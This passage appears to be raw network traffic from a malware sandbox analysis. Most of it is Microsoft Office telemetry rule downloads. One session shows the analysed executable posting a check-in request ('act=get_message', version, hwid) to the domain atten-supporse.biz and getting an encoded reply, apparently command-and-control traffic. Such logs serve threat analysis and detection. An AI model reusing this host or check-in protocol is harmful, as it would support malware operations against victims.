53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:31 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:31 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 07e13988-c01e-0049-0444-44ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164131Z-174f7845968n2hr8hC1EWR9cag00000015wg000000007kb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:32 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:31 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 6da3e3c6-601e-0084-52b4-426b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164132Z-174f7845968nxc96hC1EWRspw800000015ug00000000te1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:31 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:32 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 21da0aac-a01e-0021-7d18-43814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164132Z-174f7845968pght8hC1EWRyvxg00000009bg00000000b5hp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:32 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49759	104.21.16.9	443	7292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:33 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-03 16:41:33 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 34 39 38 30 38 46 45 37 32 35 33 35 38 37 34 38 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=49808FE72535874858D6DA241434FD08
2024-12-03 16:41:34 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2a0efp7fblccl10h9uaj10s113; expires=Sat, 29-Mar-2025 10:28:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W1vKKySkoM5hYDQVZrQDthZ3ISFHCGx4ePwSzjZOmpEfRjilo1lRUynCOzMce%2FrDDaCLgOgPlPHbbJy%2FJ73FCptuB4UrIjMBZbKpLspWbpUaMOzOwK4%2FVm2VU5urGSlVndPfUXI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec501409c758cdc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1893&min_rtt=1834&rtt_var=730&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=990&delivery_rate=1592148&cwnd=250&unsent_bytes=0&cid=73d085c2838d3c3a&ts=865&x=0"
2024-12-03 16:41:34 UTC	214	IN	Data Raw: 64 30 0d 0a 52 76 56 39 45 58 79 43 37 44 58 50 56 2f 38 37 7a 4a 56 71 2f 38 79 4e 44 54 36 72 30 6b 36 55 69 71 77 47 6e 6c 58 32 6c 36 55 64 6a 6c 39 6b 58 72 6a 4f 58 62 73 6a 6a 77 47 51 75 6a 62 51 2f 62 55 34 45 4a 6e 6a 65 37 71 37 6e 54 57 77 5a 4d 44 4c 69 69 6d 54 47 30 31 54 35 6f 6c 54 34 54 4b 48 58 75 36 35 53 4a 6d 34 72 7a 63 4f 68 2f 41 72 74 72 43 64 65 37 49 75 31 4f 4b 48 66 4e 63 56 5a 51 6a 79 31 6d 6e 67 43 39 41 4b 39 4b 42 45 7a 66 32 34 49 77 2b 61 34 57 43 6c 76 50 41 70 37 53 47 54 39 73 67 61 32 67 39 77 45 75 61 44 57 4f 45 79 68 31 37 75 75 55 69 5a 75 4b 38 33 44 6f 66 77 4b 37 61 77 6e 48 76 44 0d 0a Data Ascii: d0RvV9EXyC7DXPV/87zJVq/8yNDT6r0k6UiqwGnlX2l6Udjl9kXrjOXbsjjwGQujbQ/bU4EJnje7q7nTWwZMDLiimTG01T5olT4TKHXu65SJm4rzcOh/ArtrCde7Iu1OKHfNcVZQjy1mngC9AK9KBEzf24Iw+a4WClvPAp7SGT9sga2g9wEuaDWOEyh17uuUiZuK83DofwK7awnHvD
2024-12-03 16:41:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:33 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:33 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0fbdb1d5-101e-0079-0270-435913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164133Z-174f7845968px8v7hC1EWR08ng00000016h0000000003qc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:33 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:33 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 887f3029-701e-003e-40ee-4479b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164133Z-174f7845968psccphC1EWRuz9s00000016d000000000m61t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:33 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: e98b0d1a-601e-000d-7eee-442618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164134Z-174f7845968cpnpfhC1EWR3afc00000015ug00000000chab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:33 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 3f63c6b9-401e-0064-499d-4354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164134Z-174f78459684bddphC1EWRbht400000015u000000000vpxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:34 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 9318b81d-501e-0035-5bd6-43c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164134Z-174f78459684bddphC1EWRbht400000015ug00000000tpmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:35 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164135Z-174f7845968kdththC1EWRzvxn0000000kmg000000006a2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:35 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:36 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 8bbb4784-e01e-0003-6915-410fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164136Z-174f7845968px8v7hC1EWR08ng00000016b000000000v6mq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:36 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:36 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
